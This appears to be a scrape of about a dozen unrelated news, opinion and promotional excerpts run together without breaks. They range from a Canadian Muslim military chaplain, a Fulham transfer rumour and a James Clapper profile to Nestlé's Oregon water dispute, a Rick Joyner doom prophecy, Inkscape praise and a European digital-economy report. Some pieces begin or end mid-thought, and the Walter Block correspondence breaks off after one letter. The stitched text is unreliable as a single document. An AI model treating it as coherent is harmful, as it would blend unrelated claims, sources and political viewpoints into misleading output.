I want to share this richness with others, to show them that a Muslim is someone who is open, someone who is tolerant, someone simple, someone who is free, like you. - Jalal Khaldoune
But he wanted to do something else, he said — something he considered both prestigious and a way to give back to Canada, the place he has called home for the last 16 years.
"I'm completely satisfied with the life here in Quebec, so why not? I feel myself part of the country," Khaldoune said. "I can participate by helping others and also supporting people."
Becoming a military chaplain seemed the perfect fit, he said.
When Khaldoune enlisted, he was 40 — what some might consider an advanced age for basic training.
"I did training with young people, and I succeeded," he said. "Better than half of the platoon, believe me."
Sharing faith's richness
Khaldoune will offer spiritual guidance to members of the forces of all faiths, as well as to those who are atheist or non-practising.
"The aim is to serve everyone."
He said he's looking forward to breaking down prejudices or poorly understood ideas of what it means to be Muslim.
"For me, it's a richness," he said. "I want to share this richness with others, to show them that a Muslim is someone who is open, someone who is tolerant, someone simple, someone who is free, like you."
Khaldoune is now completing his master's of theology degree and will be finished in two semesters.
He will have to complete some military training after that, and if it all goes successfully, he will receive his first posting.
Copper-bottomed sources have told Get West London the Scotland striker, who had been linked with a move back to Derby County, will stay with Whites until June.
Fulham have it in appropriate black and white his parent club will not be allowed to snatch him back in January.
Martin was a bystander as his two clubs drew 2-2 at the weekend , but is expected to resume his slot up top when Fulham visit Ipswich on Boxing Day.
Whites will take their time before deciding in May whether to go ahead with a £9 million permanent deal for the man who has hit six in the last 10 games before Staurday's enforced absence.
As a result, rumours surrounding a Fulham replacement move for Birmingham’s Lukas Jutkiewicz were always wide of the mark.
By Dustin Rowles | Twitter | October 27, 2016 |
A few weeks ago, Stephen Baldwin expressed disdain for his brother Alec Baldwin’s impression of Donald Trump on SNL, saying “I don’t think it’s very funny. I don’t think there’s anything funny about this election. I think it’s very serious.”
Over the weekend, Alec Baldwin — as Donald Trump — poked fun at his brother in the Cold Open, saying (as Trump):
“She can brag about her resume, but I’m the one who’s got all the heavy hitters supporting me,” Baldwin as Trump argued. “I mean, I have got the cream of the crop: I’ve got Sarah Palin. I’ve got Chachi. Get this, I’ve even got the best Baldwin brother, Stephen Baldwin.”
But the real heat comes from the other brother, Billy Baldwin, who offered this magnificent response a couple of weeks ago to Stephen Baldwin’s decision to insert the Baldwin patriarch into the conversation.
If my father were alive today
(a veteran) He would be ashamed & disgusted of media biased & manipulation by people like @andersoncooper — Stephen Baldwin (@StephenBaldwin7) October 10, 2016
@StephenBaldwin7 @andersoncooper
If our father were alive today… he'd smack you in the side of the head for supporting Donald Trump. — Billy Baldwin (@BillyBaldwin) October 11, 2016
Oh, that burns.
Billy just doesn’t seem to be a fan of Stephen’s politics.
1. Brother Stephen thinks Alec's impersonation of Trump is "not funny" and that Trump "dominated" the debate last night. — Billy Baldwin (@BillyBaldwin) October 20, 2016
2. Just proves the alt universe that many Trump supporters live in. — Billy Baldwin (@BillyBaldwin) October 20, 2016
Thanksgiving this year is going to be so awkward.
via Ryan Convington
Dustin is the founder and co-owner of Pajiba. You may email him here or follow him on Twitter.
← Human Sack of Excremement Promises to 'Grab [His] Musket' If Trump Loses
James Clapper met Donald Trump for the first time on the morning of January 6, in a conference room at Trump Tower. Clapper, a retired three-star general, grew up in a military family and volunteered for two tours in Vietnam. Trump got five deferments: four for college, one for bone spurs. Clapper avoids scrutiny. Among his staff, he earned the nickname Grumpy Cat for his habit of scrunching up his weathered face during interviews and congressional hearings. Trump has a face optimized for broadcast, a Kabuki mask of synthetic emotion. He would hardly exist were it not for television. Despite these differences, the two men seemed to hit it off. There was no hint of how Trump would behave over the months that followed, diminishing both his office and his country to the point that Clapper would do something drastic, something that he never believed he would do—condemn a sitting president. Clapper remembers Trump at that first meeting as friendly and solicitous, flattering him with compliments. As Obama's director of national intelligence, Clapper had been tasked with investigating the role that Russia might have played in Trump's victory. He'd come to Trump Tower, with a group that included then FBI director James Comey, to brief the president-elect on the intelligence community's findings: that Vladimir Putin had attempted to intervene in the election, and in Trump's favor. At the time, Trump seemed to take the news well. "It was a professional exchange," Clapper told me.
As the meeting wrapped up, Comey stayed behind to share with Trump a bit more. He explained that a "dossier" full of salacious allegations linking Trump to Russia had been circulating widely around Washington for some time. "The main point was to warn him that it was out there," Clapper said. Days later, on January 10, BuzzFeed published 35 pages of the dossier. Suddenly, the Donald Trump who'd been so collegial turned into a very different man.
In Trump's mind, there had to be a connection between the January 6 briefing on the dossier and its January 10 publication by BuzzFeed. "Intelligence agencies should never have allowed this fake news to 'leak' into the public," he tweeted. "One last shot at me. Are we living in Nazi Germany?" Later that day, he compared American intelligence agencies to the Gestapo.
Clapper called up Trump to try to work things out. On the phone, according to Clapper, Trump asked him to put out a statement saying that it was bunk. Clapper refused. Without knowing the dossier's sources, there was no way to evaluate it. And at least one element from the document was true, Clapper told me, "the considerable animus Putin had for the Clintons. That we had from other sources."
The feud with the intelligence community got worse after Trump gave a speech at the CIA's Memorial Wall, where more than 100 fallen officers are honored with stars etched into stone. Trump filled the room with supporters and rambled on about the size of his inaugural crowds. "He kind of used it as a prop," Clapper told me, likening the Memorial Wall to the Tomb of the Unknown Soldier at Arlington.
Clapper's personal breaking point, however, wasn't the Nazi tweet, or the Memorial Wall speech, or even the firing of James Comey, whom he called "a personal friend and hero of mine." Through all that, Clapper did his best to keep silent or, when he could not restrain himself, to at least confine his criticisms of Trump to the issue at hand. Then, in August, Trump held a presidential "rally" in Phoenix in which he blasted out 77 minutes of racist dog whistles to an adoring crowd, equating the removal of Confederate statues with "trying to take away our history and heritage." He sounded more like a segregationist throwback than an American president. At that point, Clapper had had enough. He went on CNN Tonight and said something that no one of his standing has said before or since.
The lead-up came when Don Lemon, the host, asked Clapper about Trump's performance. Clapper said he found it "objectionable," "disturbing," and "downright scary" but "not a surprise."
Then Lemon asked Clapper the critical question: "Are you questioning his fitness?"
The word "fitness," in this context, seemed intended as a reference to the 25th Amendment, which provides a way to remove the president should Congress find him "unable to discharge the powers and duties of his office."
"It's hard. This is a unique situation. We've never had a president like this before."
On CNN that night, it was clear that Clapper had made up his mind about Donald Trump's fitness, and he had no hesitation in sharing his opinion.
"Yes, I do," he answered.
No member of the national-security establishment, and few elected officials, had gone so far. "I have my own personal views," said John Brennan, the former CIA director, when I asked him about Trump's fitness. "My preference is to keep those views to myself at this time." No senator has said such a thing, not Bernie Sanders or even Bob Corker, who likened the White House to "an adult day-care center" and suggested to The New York Times that Trump might start World War III. But questioning Trump's fitness? "Mr. Corker would not directly answer," the Times reported.
Had Clapper made a strategic error, a misstep in a carefully orchestrated dance to separate an unstable narcissist from the nuclear codes? Or was he the only brave man in a city of sycophants and cowards? When I saw him the day after the CNN interview, at a steak house in suburban Virginia, he seemed to be in mourning for a long career spent at a remove from partisan wrangling.
"I've been a political appointee in both Democratic and Republican administrations," he said, his voice a phlegmy rumble. "Support the commander in chief. That was the first order of business. But this one, you know…" He reached for his coffee, leaned back, took a sip. "It's hard. This is a unique situation. We've never had a president like this before."
The Clappers live in a well-to-do suburb outside Washington, in a brick house with heavy shutters. Clapper's wife, Susan, a retired NSA administrator, answered the door. Her husband, she said, was at work in the basement. I followed her down a carpeted staircase past some paintings of bald eagles. We found James Clapper sitting at a small round table. He was dressed casually, in sandals, a polo shirt, and board shorts.
He seemed to be transitioning smoothly into the life of an ex-official, what D.C. types call a "former." He now socializes with some of the capital's more august senators, meeting them for lunch and bumping into them with the grandkids behind home plate at Nationals games. He had sworn off his trademark martinis, hit the gym, and lost 20 pounds. He would soon buy a Chevy Camaro. A friend told him that he was having a midlife crisis at age 76.
"Well, this is my man cave," he said, gesturing at a meticulously arranged trophy room with a rolltop desk and two couches. Two glass cases contained a glittering array of polished medals from his time in the Air Force, which he joined in 1963. The far wall had built-in shelves showing off a dim series of objects. Clapper dismissed my interest with a wave of his hand, calling it "various other junk from across the course of my career."
Clapper was one of the first hundred Air Force intelligence officers to go to Vietnam. "I hated the war," Clapper said. "What we were doing to the country—our own country—was bad." For a time, he worked alongside his father, who was the NSA's deputy country chief. Susan gave birth to a daughter while he was overseas. She was 7 months old the first time he saw her.
He stuck with the Air Force after his tours, was promoted "below the zone"—before almost all of his contemporaries—and went on to a career in military intelligence, eventually leading the Defense Intelligence Agency and the National Geospatial Intelligence Agency. In the years after the September 11 attacks, he clashed with Donald Rumsfeld over how to re-organize the country's spying apparatus, which today consumes roughly $70 billion a year. Rumsfeld won the argument and fired Clapper, but it wasn't long before he himself was out of a job. Clapper's willingness to stand his ground impressed Rumsfeld's replacement, Bob Gates, who recommended him to Obama as director of national intelligence in 2010.
Clapper forged close ties with Obama, whom he often briefed personally. He could be brutally frank; he had no qualms about bringing the president bad news. When the time came to make policy recommendations, Clapper would stick to intelligence and remain silent. Obama staffers would sometimes wonder if he was secretly a Republican.
The worst day of Clapper's career came on March 12, 2013, when he was called to testify before an open hearing of the Senate Intelligence Committee. Ron Wyden, the senior senator from Oregon, asked Clapper whether the NSA collects "any type of data at all on millions, or hundreds of millions, of Americans."
"No sir," said Clapper.
"It does not?" asked Wyden. He looked surprised.
"Not wittingly," said Clapper. The corners of his mouth bent down into his Grumpy Cat face. "There are cases where they could inadvertently, perhaps, collect, but not wittingly."
Wyden believed, and still believes, that Clapper was being intentionally deceptive. Clapper told me that he made a mistake and misunderstood the question. Wyden holds a grudge to this day. "There's no other way to describe this than he lied to Congress. He lied to the American people," Wyden told me. "And that, in my judgment, is unacceptable."
"When I die, the first line of my obituary is how I lied to Senator Wyden," Clapper said in his basement. "I didn't lie. I made a big mistake. If I could answer the question differently, I would say, 'Senator Wyden, if we had such a program, we couldn't talk about it in this setting.' "
That June, Edward Snowden's disclosures showed that the NSA had indeed collected metadata for hundreds of billions of U.S. phone calls. There were petitions for Clapper to resign or face charges for perjury. Clapper took it hard. He would talk about quitting, and his staff would talk him out of it.
Snowden's disclosures inflamed public distrust of the intelligence community. Clapper now attributes much of the blowback to "the shock, the cartooning" of the NSA's mission. Over the next few years, he took some baby steps toward transparency. He started a blog where he posted a limited number of internal NSA documents and filings from the secret FISA court. But the gap between what the intelligence community was authorized to say and what the public was willing to believe remained vast. In 2014, this looked like a civics problem. The Russians would soon expose it as a critical vulnerability. Instead of hacking American missile systems or shutting down the power grid, they would ratchet open the widening breach between the government and the governed.
In 1983, when the Soviet Union shot down Korean Air Lines Flight 007, killing all 269 people on board, Clapper helped put together a detailed presentation for the Air Force that quickly made its way to the White House. Within a week, President Reagan had declassified portions of intercepted communications between Soviet pilots and ground command, an attempt to prove that they had deliberately downed the plane. (Despite Reagan's belief that the killing of civilians was intentional and "monstrous," it turned out that Soviet command believed the plane was military.) He even played audio from those intercepts in a televised speech to the country. "That was made public," Clapper said, "just to illustrate the typical duplicity of the Soviets. Which hasn't changed a bit."
Russian interference in the last election will likely be remembered not as an intelligence failure so much as a communications failure. Obama could have followed Reagan's example and declassified pieces of raw intelligence to make it clear what the Russians had done. He could have offered evidence of Putin's direct involvement. He chose not to.
Instead, in October 2016, Clapper and Jeh Johnson, the secretary of Homeland Security, released a toothless 395-word statement, attributing the hacking of Democratic Party e-mails to "Russia's senior-most officials." The conclusion was "confident" and "based on the scope and sensitivity of these efforts," but in keeping with the government's tight-fisted control over its sources and methods, the public was essentially expected to swallow these findings without any proof. In January, the intelligence community issued a longer, more formal report. It, too, was written as though the American public would have no problem taking its conclusions on faith.
"When I die, the first line of my obituary is how I lied to Senator Wyden. I didn't lie. I made a big mistake."
By this June, the picture of what Obama knew before the election had changed. According to reporting by The Washington Post, the intelligence community had "sourcing deep inside the Russian government," tying the hack of the Democratic National Committee to Russia. And that source had, according to the Post, "captured Putin's specific instructions" to defeat Clinton and elect Trump.
I asked Clapper why the White House didn't let people know about the strength of the Russia intelligence before they cast their votes. He gave me a stoic look, as though he were giving blood.
"I can't go into that," he said.
Perhaps people who were skeptical about Russian meddling would have been convinced if those in the White House shared more of what they knew, I said.
"People are skeptical because you wouldn't expose accesses—sensitive accesses and sources we had, which, you know, you've invested literally billions of dollars to obtain. We're not going to give that away." His voice was rising. "So I'm sorry that we couldn't lay out all this convincing supporting evidence and then, of course, compromise it all." He rapped his knuckles against the table. "What is the alternative? Is the alternative not to say anything?"
What Clapper did not mention is that such decisions happen further up the chain of command. Obama could have punched back before the election with economic sanctions, just as he did after Russia's annexation of Crimea in 2014. Later, he could have appointed a bipartisan commission, as was done after 9/11, to investigate what had happened. John Kerry, Obama's secretary of state, reportedly pushed for both measures, but neither was adopted.
"We did the best we could," Clapper went on. "I think there are some in this country that, even if we had laid out all the information, they would say we'd fabricated it. We did the responsible thing. If you got a better idea, tell me."
Clapper's anger showed the scars that the Snowden leaks have left on the intelligence community's psyche. He seemed perfectly aware that the pre-election warning lacked persuasive power. The evidence was there—it had been culled and marshaled and cross-referenced into the classified version of the January report—but he was helpless to deploy it.
Susan and James Clapper both come from Army families, and both their fathers eventually worked for the NSA. When James was an undergraduate at the University of Maryland, his mother set him up with Susan, who was still in high school. "I finally called her up to get my mother to stop pestering me," he says. All four parents are now buried in Section 64 of Arlington National Cemetery.
On a cool day in September, James Clapper agreed to let me come along with him to see their graves. I picked him up at home; he was standing ready outside his garage in a polo shirt, cargo pants, Sperry Top-Siders, and sunglasses. In the car ride over, Google Maps fed him directions through a Bluetooth app connected to one of his hearing aids.
We found Section 64 and parked the car under a tree on Patton Drive. Clapper walked out on the long grass, taking care to walk between the rows. "I don't come out here as often as I should," he said. He found Susan's parents, then his own.
"Here we go," he said. "Right here. So, this is my dad." He gave a quick synopsis of the two officers' careers. "This is a special place," he said, looking out over the horizon, still wearing his sunglasses and sniffing a couple of times. On the other side of the hill was the officers' club at Fort Myer. The former director of the NSA gave a talk there a few months back, I recalled. Having been asked why Trump appointed so many generals, the director replied, in essence, that they were the only qualified people Trump hadn't succeeded in alienating.
"I think there are some in this country that, even if we had laid out all the information, they would say we'd fabricated it. We did the responsible thing. If you got a better idea, tell me."
"He does have, for some reason, a fascination with generals," Clapper said. "Which is kind of ironic, since he spent Vietnam getting deferments. That was my war, Vietnam."
I thought of the epithet that some veterans have hurled online at Trump, his family, and his inner circle—"Never served!" "This veteran says sit down and shut the fuck up, you know-nothing, never-served piece of shit," the daughter of Ryan Zinke, Trump's secretary of the interior, said on Instagram after Trump's proposal to ban transgender soldiers.
But on that afternoon at Arlington, Clapper left it there. He showed none of the anger toward Trump he had flashed days before, in his basement. "Nobody wants a president to be successful more than I do," Clapper said then. "It's not about him or any other president. It's just for the country. If a supporter could explain to me: What attributes or characteristics of the president can I admire? What are they? Can you think of any? Is it his honesty? His ethics? Is it his leadership? His grasp of foreign affairs? His understanding of the government? What? Tell me what it is that I should admire."
There was no answer to be found at Arlington. Trump had come here before his inaugural, and again, on Memorial Day, to sun himself in the aura of the hallowed dead. Their families, he said, were "special, special people." After his speech, Trump proceeded to Section 60, where he laid flowers on a grave belonging to the son of John Kelly, his chief of staff.
"Maybe I'm out of it," Clapper had said. "A lot of people in this country think he's great. I'd like him to be, you know?"
I believed him.
SilencerCo’s Facebook page posted this announcement yesterday:
Upon launching the Maxim 50, SilencerCo received several immediate legal challenges from authorities and lawyers in the states of New Jersey, Massachusetts, and California. Since we have no desire to place any consumer in a situation where they may get arrested and charged with a felony because their state defines a firearm differently than the Bureau of Alcohol, Tobacco, Firearms and Explosives (BATFE), we have placed orders from those states on hold and are refunding customers pending legal confirmation. We will update our customers as soon as we have multiple source verification.
Who could’ve seen that one coming?
You’d think The Golden State would have better things to do, what with a foxnews.com article revealing that the high-tax, high regulation state has a poverty rate of 20.4 percent vs. Texas’ 14.7 percent. if so, you’d be wrong.
By Sara Jerome,
@sarmje
Nestlé’s water business has become an election issue as the company continues to face criticism for bottling and selling precious resources as most of the U.S. languishes in drought.
“Opponents of a Nestlé water bottling plant proposed for the tiny Oregon town of Cascade Locks have filed a local ballot measure that would prohibit any bottled water exports from the county. The group believes it’s the first measure of its kind nationwide to attempt to prevent local water rights from being sold to a corporation, and hope it may set a precedent for other communities,” the Statesman Journal reported.
Ed del Val, president of the Local Water Alliance PAC and a major opponent of Nestlé’s operation, explained how weather patterns play a role in his stance. Hood River County, where Cascade Locks is located, was declared to be in drought conditions in July, according to the state government.
“When your county is facing record drought conditions, the idea of sending millions of gallons of water a year out of the county in mountains of plastic piled on the back of trucks seems particularly irresponsible,” del Val said.
Approval of the ballot measure would prohibit transporting or conveying water “from any water source within the County in order to support a commercial bottled water operation.”
Here’s what Nestlé has proposed, according to Oregon Live:
A controversial deal to build a bottling plant in the economically depressed city has been in the works for more than six years. It centers on state-owned water rights at Oxbow Springs, near Cascade Locks in the Columbia Gorge. The Oregon Department of Fish and Wildlife (ODFW) uses the water for a nearby salmon hatchery. The newest version of the deal calls for the state to permanently trade spring-water rights for water from the city’s well water system. Nestlé then would build a plant in Cascade Locks to bottle the spring water. The city and ODFW have agreed to the plan, but it still requires approval from the Oregon Water Resources Department. Opponents have written letters to the governor and staged hunger strikes. Earlier this month, tribal groups staged a rally at the Capitol, saying the deal infringes on treaty rights.
Some locals are in favor of the Nestlé operation. “Nestlé's supporters laud the plant as an economic development opportunity for the cash-strapped town and a job opportunity for its residents, nearly 19 percent of whom are unemployed,” Oregon Live reported.
City Manager Gordon Zimmerman noted potential benefits of the deal.
"This is an economic development question," he said. "We could use the jobs, the increased tax base and the utility revenues."
Nestlé emphasizes the importance of water, in general, when defending its bottled water business.
"Water is essential and if people weren't drinking our bottled water, they'd be drinking tap water or soda or beer," said Jane Lazgin, director of corporate communications at Nestlé, per CNBC.
For more on the drought, visit Water Online’s Water Scarcity Solutions Center.
As in ... he thinks the state's business is his business. And not your business. Which is bad business for the state of the state.
Alabama's governor does not have a state email account.
I found this out after making an official records request for the governor's emails. What I got in return was a sworn statement from the governor's IT administrator, certifying that "Governor Bentley does not have, nor has he ever had an email account with the State of Alabama."
The following email conversation followed between me and the governor's spokeswoman, Jennifer Ardis.
Me: "So his emails are held on a private email server? I'm not sure I understand."
Ardis: "He does not have a state email account."
Me: "Does he send any email in an official capacity? Does he use email?"
Ardis: "The governor does not have nor use a state email account."
Me: "Sorry to be so redundant, but does he use email at all? Seems like if he does we fall into the whole Hillary hole. How is it different?"
Ardis: "Let me check on that and I will get back to you."
I asked more questions. I never heard back.
Gov. Robert Bentley
There's only one reason why a public official would not use official government email to carry out the duties of his office: because he wants to pretend his correspondence is not the public's business. Because he believes using his own private address will allow him to slide around that pesky part of the law that says writings (electronic or not) created while running the state are public property, and officials have a duty to preserve them for the people and for posterity.
It's not just the governor that has a Hillary problem. As WBHM's Gigi Douban reported last week, more than half of Alabama's representatives and almost a third of senators choose private email instead of state-issued accounts.
It's a little different with legislators. They do maintain private lives outside of the legislature. But it bleeds together.
Think about Alabama House Speaker Mike Hubbard. He used private email when he sent messages to former Gov. Bob Riley discussing how he could use his office to make money for himself. We wouldn't know anything about that if he had not been charged with 23 felonies, if prosecutors had not included the emails in court filings.
But we should. When one of the state's highest elected officials writes about himself and the business of the state it is the state's business, whether he wants it to be or not. It is a concept as old as the quill and tested since before Alabama was Alabama.
State law requires public officials such as the governor to care for the records they create, to preserve them in order to "provide full and detailed information regarding the office's business and activities." It is important for the transfer of power to successors, and for the understanding of history.
Tracey Berezansky, assistant director for government records at the Alabama Department of Archives and History, said such documents - letters and notes and orders and photos and Christmas cards and myriad other documents - have been collected since Alabama was a territory. They provide meaningful context for where we have been and where we are.
Because Alabama always understood - as most states have - that writings of people elected to run the state belong to the people.
The medium is not important, just as the type of ink was not important. The correspondence is the people's.
Private email is a problem. Not just for the state, but for officials, too.
Trying to keep the public's business private might just open up a public official's private business to the public, Berezansky said.
"We tell them if you use your private phone to conduct state business it opens you up to lawsuits.," she said. "If (a public official) is conducting business on private email I would highly suggest he discuss it with legal staff about the implications. You leave yourself open to your personal email being gathered up in the legal process."
Suits me.
This is not just a Hillary problem. It's not just a Bentley problem. This is an Alabama problem, too.
In his weekly Prophetic Perspective on Current Events broadcast, Rick Joyner predicted the destruction of America’s republic—maybe even during President Obama’s second term.
Joyner prefaced the Internet broadcast entitled “Has Democracy Failed?” by warning viewers that he would say some things that may be shocking. The segment was filmed on the day before the government shutdown.
From Joyner’s prophetic perspective, the republic of the United States of America is crumbling because of tyranny from the government and from the people.
“There’s no way this republic can last much longer," he said. "It may not last through Obama’s second term. There are a lot of people who feel it can’t. There are forces at work right now seeking to undermine and destroy the republic. There’s almost a glib and joyful disregard of the Constitution, a belittling of the Constitution. We can’t make it without that. That’s our foundation, our moorings. We’re heading for serious tyranny—for a terrible tyranny right now.”
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Despite his strong words, Joyner is not all doom and gloom. He believes the republic can be restored. His heart’s cry? “Don’t let us be totally destroyed. Please raise up those who will save us.”
As Joyner sees it, no election is going to fix America’s problems because the system is broken. He believes our only hope is a military takeover—martial law.
“I believe there are noble leaders in our military that love the republic and love everything we stand for—and they could seize the government,” he said. “I am not advocating this. I am just telling you what could happen. They could seize it and help restore the foundations, help restore the Constitution.”
Although Joyner is not calling for martial law, he is calling for a radical change. The housing market has made great strides toward recovery, and the government is reporting some positive economic signs, but Joyner's still not convinced the worst is behind us. In fact, Joyner said the nation is “tottering over the abyss right now, and any little breeze could push us over.”
Still, he’s not without hope for revival.
“There are many great signs of revival and awakening in America—incredible things happening," he said. "I believe we’re going to see a Third Great Awakening in America within the next couple of years. It’s going to be massive. It’s going to transform America. It could help restore us to the foundations.”
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Joyner also predicted an “inevitable” collapse of the U.S. dollar but said it could lead to a jubilee—a new beginning if the right people are in leadership. His conclusion? We have to turn back to God as a nation.
Some are ridiculing Joyner for his prophetic prospective. What do I think? I don't have an opinion, per se, but I do have a prophetic word that I hold tight to. On April 21, 2007—before I had ever heard of Barack Obama—the Lord woke me up in the middle of the night to give me this prophetic word:
"There is a great awakening coming to this nation. For I have heard your cries, and I long to heal your land. I am a covenant God, and I will not forget the covenant I made with your Founding Forefathers. Yes, there will be a shaking, but the foundations will not crack, and they will not crumble. Only those things which can be shaken will be shaken, that the sin in the land may be laid bare.
"Repentance. I require repentance from My people who have through the generations allowed the enemy to take ground in this nation. I require repentance for the abortions and for the prayerlessness. I require repentance for the apathy and for the idolatry. You shall have no other gods before Me. I am indeed the God of America.
"Yes, there is a great awakening coming to this nation. I am the Author of it, and I will bring it to pass. Just turn from your wicked ways and humble yourselves. Stand in the gap, and make up the hedge. I am the Lord, and I am a warrior. I will not leave or forsake this country. I will fight through you and with you to regain what has been lost.
"Be encouraged now because as you go forth boldly with My Word and My Spirit, there will be the sound of truth, and it will prevail in the land. Speak boldly and clearly, and watch as the mighty men arise to take their positions on the wall and in the churches and in the marketplaces. For I am raising up deliverers and reformers in this generation who will not shrink back at the challenge that is coming in the days ahead.
"Yes, it will grow darker before My light shines brightly from this nation again. But the light has not been extinguished and will not be extinguished. The time to rise up is now. I am calling you to war. I am calling you to repentance. I am calling you to My side. I am the captain of the hosts. I am calling you to victory. I am calling you to destiny. Will you answer?"
What is the Lord saying to you about the hour we’re in? Is America heading for destruction? Is a Third Great Awakening eminent? Or both?
Jennifer LeClaire is news editor at Charisma. She is also the author of several books, including The Making of a Prophet. You can email Jennifer at [email protected] charismamedia.com or visit her website here. You can also join Jennifer on Facebook or follow her on Twitter.
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At the end of British rule in the Indian subcontinent in 1947, East Pakistan was declared a possession of Pakistan to the west, despite the fact that the two regions were separated by over 1,000 miles of Indian territory. Although the two Pakistans shared the Islamic religion, significant cultural and racial differences existed between the regions, and by the late 1960s East Pakistan began to call for greater autonomy from West Pakistan. In March 1971, the independence of Bangladesh was proclaimed and West Pakistani forces were called in to suppress the revolt.
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Of course, one cannot take away Adobe Illustrator’s great features, but there is only so much you can do with all the ‘power-packed features’. Inkscape, offers you limitless scope that allows you to learn and build as you go and this definitely is what keeps it way ahead of all other similar vector software.
Light on the pocket plus optimized design experience
First point in favor of Inkscape is of course its open source origins. That it does not cause a big hole in your pocket even as it delivers superior quality features, on par with paid Adobe Illustrator, is a worthy point that works in Inkscape’s favor.
Additionally, it is not just children working on school projects who are using Inkscape with ease. Professionals, designers prefer the hands-on experience that Inkscape offers to ensure maximum work scope over-and-above Adobe Illustrators’ power features. Add to its small footprint, typically in small sizes that makes working on Inkscape easier and faster.
Additional features such as RGB color, very sophisticated path effects; and by far, the best open and save function feature for SVG (Scalable Vector Graphics). Now, SVG is the format for rendering 2D graphics and application in XML. This helps in using these graphics on websites as well as print media.
Inkscape is as professional as Adobe Illustrator
Though, Adobe Illustrator has a better text feature pack, Inkscape makes up with some of the best multiple or general illustration features. Whether for coloring, illustrating or building icons, Inkscape is easy to use. Add to it the following features native to Inkscape only – direct editing on SVG source, editing clones on canvas, screen pixels manipulation – move, rotate or scale; shapes can be converted into objects; using handles for editing gradients on the canvas; use of keys to edit nodes’ fill paint bucket with a single click and color wash over objects.
Better User Interface
Another feature of Inkscape is its better and more useful interface. It is not the typical ‘oversimplified’ open source software, but has the perfect user interface for beginners to professionals. Additionally, Inkscape scores well users because it automatically converts Bitmap to Vector format.
Packaged Software does not translate into full support
A key feature for Inkscape users is that, when in need of support one can directly get to chat with developers and ink out doubts, use cases and optimize their scope, which is most definitely not the case with the beautifully packaged Adobe Illustrator software. You can get a host of tutorials, support pages to wade through and after an exhaustive search, get relief only after a paid conversation with the help desk. Your nearest help for Adobe Illustrator will remain support forum.
A correspondence between Walter Block and Michael Fleischer
Recently by Walter Block: Rejoinder on the BP Oil Spill
Here is a series of letters between me and Michael Fleischer, concerning the propriety, viability, justice of the anarchist system, mainly as put forth by Murray N. Rothbard. I have slightly edited both his and my own contributions to this correspondence. If you are too busy to view the YouTube video he mentions in his first letter to me, or, have civilized sensibilities and do not want to view a cruel case of child abuse, do not look at it. I myself only viewed it for a few seconds, and then stopped in disgust. But, this description ought to put you into the picture as to what the two of us are talking about.
I. FLEISCHER
Subject: a question from someone struggling with the alternatives of minarchy versus anarchy….
I have spent several years reading deeply and broadly in the Austrian literature. I am a physician and father and husband and business owner. I am an investor with Peter Schiff and a supporter of Rand Paul. I am torn between the ideas of a minimal state versus what you and Murray Rothbard advocate: anarchy. And while there are many advantages I can see some pitfalls.
For instance watch this YouTube video and please tell me how this issue would be dealt with in a society with no central monopoly coercive body like a government.
How would a crime like the one shown here be prosecuted?
Of the 50 countries we studied in our Digital Evolution Index, 23 were European (not counting Turkey). Of these, only three, Switzerland, Ireland, and Estonia, made it to a commendable “Stand Out” category – which means that their high levels of digital development are attractive to global businesses and investors and that their digital ecosystems are positioned to nurture start ups and internet businesses that can compete globally.
Fifteen European countries have been losing momentum since 2008 in terms of their state of digital evolution – this is what we mean by a digital recession – with the Netherlands coming in dead last in our momentum rankings. European countries occupy the nine bottom spots in our list of 50. Plus, the digitally receding countries include large economies like Germany, the UK, and France, as well as Finland and Sweden, Scandinavian tech powerhouses that were the early leaders of mobile telephony. Across the rest of Europe, the state of digital evolution has been mediocre and the pace of improvement, tepid.
This dismal performance points to a glaring – and growing — digital gap as Europeans watch the U.S. and China take the lead in tech innovation. President Obama said it plainly in a recent interview: “We have owned the Internet. Our companies have created it, expanded it, perfected it in ways that they can’t compete,” referring to the Europeans. And a recently released report suggests that Europe’s digital divide problem extends way beyond the Atlantic; Europe is a distant third behind North America and Asia for $100 million plus financing for VC backed companies.
How has Europe dealt with the situation? The response has primarily taken three forms: One has been that of frustration with — and even rejection and censure of — the more dominant U.S. position. Deutsche Telekom’s launch of E-mail Made in Germany promised all data will being kept out of the U.S. government’s prying eyes. At the street level, in France particularly, there is anger against what French critics call Les Gafa (Google, Apple, Facebook, Amazon).
At the regulatory and policy levels, authorities have doggedly pursued U.S. tech companies. The EU’s antitrust regulator charged Google for abuse of its position as the dominant search engine to promote its own businesses, while the European Parliament even voted in favor of breaking up Google . And, European officials have lodged a plethora of complaints extending well beyond anti-trust concerns, such as tax avoidance and privacy concerns. EU citizens now have the right to “be forgotten” by petitioning Google to delete certain search results, while regulators in the Netherlands, Spain, among others, are investigating Facebook’s privacy practices.
Another response has been an acknowledgement by the President of the European Commission (EC), Jean-Claude Juncker, of Europe’s severe digital decline. The EC’s pronouncements signal the beginnings of a “Digital Maastricht Treaty.” The proposal is to create a “Digital Single Market” in the EU. The goal of the Digital Single Market is an ambitious one: to deliver by the end of 2016 the equivalent of US$ 471 billion per year to the regional economy and 3.8 million jobs.
There are subtle, yet significant, changes happening already. In Paris, an endeavor to reclaim the word “entrepreneur,” has seen the city open its doors to attract foreign talent with a recently launched tech visa aimed at encouraging foreigners to incubate startups on the city’s eastern edge. Startup clusters are also emerging in London, Stockholm, Berlin, and Helsinki.
But there are still barriers to be overcome before Europe’s digital potential can be realized. Based on our research, we propose four critical areas of focus:
Harmonizing across the e-commerce value chain. Paradoxically, it is easier for people to cross borders within the EU than it is for digital goods and content to do so. Telecommunications, marketplace platforms, payment services, and postal and logistics systems are balkanized. While 44% of EU residents shopped online in 2014, a paltry 15% bought from another member state; barely up by six and a half percentage points since 2010, according to the European Commission’s (EC) “Digital Agenda Scoreboard 2015.” According to Der Standard, an Austrian newspaper, mailing a parcel from Munich to Salzburg (distance: 145km; 90 miles) costs many times more than mailing it from Munich to Berlin (distance: 585km; 364 miles). There’s also the matter of language complexity — for small and medium enterprises, creating a web storefront and customer support in the plethora of European languages can be prohibitively expensive.
If things look bad for goods moving across borders electronically, they look even worse for transporting content. There are a staggering 250 collective management organizations overseeing digital content, according to a 2014 EC press release. Transparency and governance issues abound. In some cases, competing organizations represent the same category of rights-holders; in some others, national monopolies dominate.
The first step in unclogging these bottlenecks and unlocking the digital potential of the union is for the regulators to move away from reflexive responses to competitive winds from across the Atlantic to a more reflective approach — creating uniform standards, better processes, and streamlining of digital rights management to harmonize hundreds of byzantine regulations across EU. This would be a laborious — but achievable — task for the EC and national regulators in the next few years.
